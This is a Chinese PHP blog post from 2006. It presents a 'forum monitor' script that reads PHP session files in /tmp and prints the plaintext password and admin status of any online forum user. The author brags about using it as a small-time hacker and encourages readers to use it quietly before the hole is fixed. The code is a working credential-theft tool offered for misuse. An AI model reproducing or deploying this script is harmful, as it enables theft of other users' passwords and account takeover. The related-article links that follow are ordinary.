一个查看session内容的函数


Posted in PHP onOctober 09, 2006

之所以是能写出来这个函数,主要是对该网站的session结构清楚,如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
  return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

PHP 相关文章推荐
用PHP 快速生成 Flash 动画的方法
Mar 06 PHP
一个PHP的QRcode类与大家分享
Nov 13 PHP
使用php判断浏览器的类型和语言的函数代码
Feb 28 PHP
php中动态修改ini配置
Oct 14 PHP
PDO防注入原理分析以及注意事项
Feb 25 PHP
调试WordPress中定时任务的相关PHP脚本示例
Dec 10 PHP
关于扩展 Laravel 默认 Session 中间件导致的 Session 写入失效问题分析
Jan 08 PHP
学习PHP Cookie处理函数
Aug 09 PHP
使用php实现网站验证码功能【推荐】
Feb 09 PHP
PHP工厂模式、单例模式与注册树模式实例详解
Jun 03 PHP
laravel5.1框架model类查询的实现方法
Oct 08 PHP
laravel 修改.htaccess文件 重定向public的解决方法
Oct 12 PHP
一个显示天气预报的程序
Oct 09 #PHP
web方式ftp
Oct 09 #PHP
php中文本数据翻页(留言本翻页)
Oct 09 #PHP
自己动手做一个SQL解释器
Oct 09 #PHP
GD输出汉字的函数的分析
Oct 09 #PHP
类的另类用法--数据的封装
Oct 09 #PHP
最小化数据传输――在客户端存储数据
Oct 09 #PHP
You might like
用Php编写注册后Email激活验证的实例代码
2013/03/11 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(十四)
2014/06/26 PHP
PHP5.5迭代生成器用法实例详解
2016/03/16 PHP
Ajax,UTF-8还是GB2312 eval 还是execScript
2008/11/13 Javascript
javascript 学习之旅 (2)
2009/02/05 Javascript
JavaScript 的方法重载效果
2009/08/07 Javascript
IE 上下滚动展示模仿Marquee机制
2009/12/20 Javascript
jQuery学习笔记之DOM对象和jQuery对象
2010/12/22 Javascript
javascript 随机展示头像实现代码
2011/12/06 Javascript
ECMAScript 5中的属性描述符详解
2015/03/02 Javascript
深入浅析Extjs中store分组功能的使用方法
2016/04/20 Javascript
Bootstrap弹出带合法性检查的登录框实例代码【推荐】
2016/06/23 Javascript
9个让JavaScript调试更简单的Console命令
2016/11/14 Javascript
Bootstrap基本样式学习笔记之表格(2)
2016/12/07 Javascript
如何使用less实现随机下雪动画详解
2019/01/02 Javascript
js实现一个页面多个倒计时的3种方法
2019/02/25 Javascript
基于Vue实现平滑过渡的拖拽排序功能
2019/06/12 Javascript
Vue实现多页签组件
2021/01/14 Vue.js
python字符串加密解密的三种方法分享(base64 win32com)
2014/01/19 Python
Python实现动态添加类的属性或成员函数的解决方法
2014/07/16 Python
使用Python脚本来获取Cisco设备信息的示例
2015/05/04 Python
Python基于Socket实现的简单聊天程序示例
2017/08/05 Python
详解Python如何生成词云的方法
2018/06/01 Python
python批量赋值操作实例
2018/10/22 Python
python 通过可变参数计算n个数的乘积方法
2019/06/13 Python
Python使用百度api做人脸对比的方法
2019/08/28 Python
Python 日期与时间转换的方法
2020/08/01 Python
python中delattr删除对象方法的代码分析
2020/12/15 Python
CSS3的文字阴影—text-shadow的使用方法
2012/12/25 HTML / CSS
俄罗斯最大的在线珠宝大卖场:Nebo
2019/12/08 全球购物
小学班主任个人总结
2015/03/03 职场文书
团拜会主持词
2015/07/04 职场文书
新闻稿件写作技巧
2015/07/18 职场文书
Python实战之疫苗研发情况可视化
2021/05/18 Python
Vertica集成Apache Hudi重磅使用指南
2022/03/31 Servers
python DataFrame中stack()方法、unstack()方法和pivot()方法浅析
2022/04/06 Python